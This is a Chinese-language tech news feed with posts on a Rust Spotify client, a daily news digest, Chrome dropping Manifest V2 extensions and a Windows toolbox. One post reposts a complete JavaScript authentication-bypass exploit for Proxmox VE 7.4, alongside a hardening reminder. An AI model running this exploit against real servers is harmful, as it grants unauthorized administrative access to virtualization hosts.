OKHK 👀
-
- 👍1
- 🥰1
- Fastpotify - 基于 Rust 的第三方原生轻量 Spotify 客户端，支持本地播放、曲库访问以及 Spotify Connect 远程控制。
https://fastpotify.rocks/
https://github.com/crmne/fastpotify
#Music #GitHubFastpotify
A fast, native Spotify client for Linux, macOS, and Windows, written in Rust. 
- 一觉醒来发生了什么 09 月 02 日
#Daily
2026 年 9 月 2 日
🌍 资讯快读
1、我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类
https://www.jiemian.com/article/15038519.html
2、智神星一号遥一运载火箭首发成功
https://www.jiemian.com/article/15038615.html
3、《微短剧发展管理办法》今起正式施行
https://www.jiemian.com/article/15039419.html
4、普京称俄愿意将中俄间的免签制度转为永久性安排，外交部回应
https://www.jiemian.com/article/15039976.html
5、吉隆泥石流灾害哀悼活动在西藏吉隆举行
https://www.jiemian.com/article/15038423.html
👬 即刻镇小报
1、欢迎 🔍「00 后的宇宙必听」，我们一起慢慢长大。
https://m.okjike.com/originalPosts/6a9519c24eb70d9f7c110a86
2、有种人生策略叫杠铃策略，就是干不喜欢的工作，获得收入保障，支撑自己业余做喜欢的事。
https://m.okjike.com/originalPosts/6a945d53756bbb665808e9c7
3、分享一个我们 team 实践中用的一个简洁指标 ——「隐喻率」
https://m.okjike.com/originalPosts/6a96bae6141b85b2920fa9b4
4、今天拍到日落了吗
https://m.okjike.com/originalPosts/6a92d4cacfb5d08b3e6f1263
今日即刻镇小报内容来自 @小宇宙 App @鲁彼特 @胡迪 Hoodie @精神小伙郑斑斑 ，感谢以上即友的创作与分享。界面新闻我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类据国家能源局，截至今年7月底，我国光伏发电装机容量达到12.86亿千瓦，其中集中式光伏7.04亿千瓦、分布式光伏5.82亿千瓦。光伏发电的装机容量首次超过煤电，成为我国装机规模最大的电源品类。（煤电装机容量12.85亿千瓦） - Google 从其扩展商店移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展
#Chrome
Google 从其扩展商店 Chrome Web Store 移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展。Chrome 用户已安装的 Manifest V2 扩展目前还能使用，但不会再收到任何更新，卸载之后将无法再重新安装。Chrome Web Store 将只提供 Manifest v3 扩展，Manifest v3 相比 Manifest v2 的一大区别是移除了 blockingWebRequest 和 declarativeNetRequest，限制了广告屏蔽扩展的功能，uBlock Origin 是基于 Manifest V2，它没有 Manifest V3 版本，但有一个基于 V3 的精简版本。用户如果想要继续使用 uBlock Origin 只能改用 Firefox 以及另一个 Chromium 的浏览器 Brave。
https://webiterate.dev/google-removed-extensions-ublock-origin-108/ - Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:// PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam (async () => { const form = new URLSearchParams({ username: "root@pam", password: "root@pam", "tfa-challenge": "NEBUSEC-CHALLENGE", }); const loginResponse = await fetch("/api2/json/access/ticket", { method: "POST", credentials: "omit", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: form, }); const loginBody = await loginResponse.json(); document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`; location.reload() })();
观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989🧵 Thread • FixupXNebuSec (@nebusecurity)Proxmox VE 7.x authentication bypass (pre-auth RCE) - 图吧工具箱 TubaWinUi3 - 图吧工具箱的重构版, 基于 WinUI 3 / .NET 10 全新打造
https://github.com/luolangaga/tubatools
https://apps.microsoft.com/detail/9P15095X7MGB
#Windows #Tool #GitHubGitHub
GitHub - luolangaga/tubatools: 图吧工具箱 winUI3 版图吧工具箱 winUI3 版. Contribute to luolangaga/tubatools development by creating an account on GitHub.
